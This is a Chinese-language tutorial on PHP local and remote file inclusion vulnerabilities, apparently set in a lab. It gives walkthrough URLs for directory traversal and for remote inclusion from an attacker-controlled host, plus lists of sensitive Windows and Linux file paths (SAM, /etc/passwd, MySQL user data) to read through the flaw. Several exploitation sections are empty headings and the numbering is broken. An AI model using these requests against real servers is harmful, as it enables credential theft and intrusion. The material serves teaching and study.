一、文件包含
1、什么是文件包含?
把可重复使用的函数写入到单个文件中,在需要使用该函数时,直接调用该文件,无需多次编写函数。
2、文件包含漏洞
原理:
利用条件:
include等函数通过动态执行变量的方式引入需要包含的文件
用户能控制输入,控制该变量
3、文件包含的函数
4、文件包含示例
5、文件包含的分类
文件包含漏洞可以分为LFI(Local File Inclusion,本地文件包含)和RFI(Remote File Inclusion,远程文件包含)两种。而区分二者最简单的办法就是通过查看php.ini中是否开启了allow_url_include。如果开启就有可能包含远程文件。
远程文件包含需要php.ini中allow_url_include=on,allow_url_fopen = On。在php.ini中,allow_url_fopen默认一直是On,而allow_url_include从php5.2之后就默认为Off。
本地文件包含
远程文件包含
二、文件包含漏洞利用
6、读取敏感文件
2、本地包含配合文件上传
3、远程包含shell
4、包含Apache日志文件
Apache日志默认路径
IIS日志默认路径
Ngnix日志默认路径
5、包含SSH日志文件
6、包含session文件
7、PHP封装伪协议
三、实例——文件包含分类
本地包含
1、在浏览器中访问http://ip/include/02/1.php?a=hello.txt,包含服务器本地当前目录下的文件
2、在浏览器中访问http://ip/include/02/1.php?a=…/include.php,包含服务器本地上一级目录的文件
3、在浏览器中访问http://ip/include/02/1.php?a=…/01/1.jpg,包含服务器本地其他目录的文件,进行目录遍历
远程包含
1、打开"phpStudy",启动操作机的Apache服务
2、在操作机的Web根目录下新建include.php
3、在浏览器中访问http://靶机ip/include/02/1.php?a=http://操作机ip/include.php
四、实例——文件包含漏洞利用之读取敏感文件信息
利用文件包含漏洞可以包含一些操作系统的敏感文件,从而读取重要信息。
Windows系统敏感信息:
C:\boot.ini //查看系统版本
C:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件
C:\windows\repair\sam //windows初次安装的密码
C:\program Files\mysql\my.ini //Mysql配置信息
C:\program Files\mysql\data\mysql\user.MYD //Mysql root C:\windows\php.ini //php配置信息
......
Linux系统敏感信息:
/etc/passwd //linux用户信息
/usr/local/app/apache2/conf/httpd.conf //apache2配置文件
/usr/local/app/php5/lib/php.ini //php配置文件
/etc/httpd/conf/httpd.conf //apache配置文件
/etc/my.cnf //Mysql配置文件
......
1、打开浏览器,在浏览器中访问http://ip/include/include.php
2、在浏览器中访问http://ip/include/include.php?page=xxx.php,包含不存在的文件,使其报错,获取服务器的Web根目录、当前网页的路径、Web服务器等信息
3、在浏览器中访问http://ip/include/include.php?page=C:\server\apache22\conf\httpd.conf,包含Apache配置文件获取信息
4、在浏览器中访问http://ip/include/include.php?page=C:\server\apache22\logs\access.log,包含Apache的访问日志获取信息
5、在浏览器中访问http://ip/include/include.php?page=C:\server\apache22\logs\error.log,包含Apache的错误日志获取信息
6、在浏览器中访问http://ip/include/include.php?page=C:\Windows\system32\drivers\etc\hosts,包含hosts文件获取信息
7、在浏览器中访问http://ip/include/include.php?page=C:\Windows\win.ini,包含Windows系统的基本系统配置文件获取信息
这篇文章就先写到这里了,还有实例接下一篇文章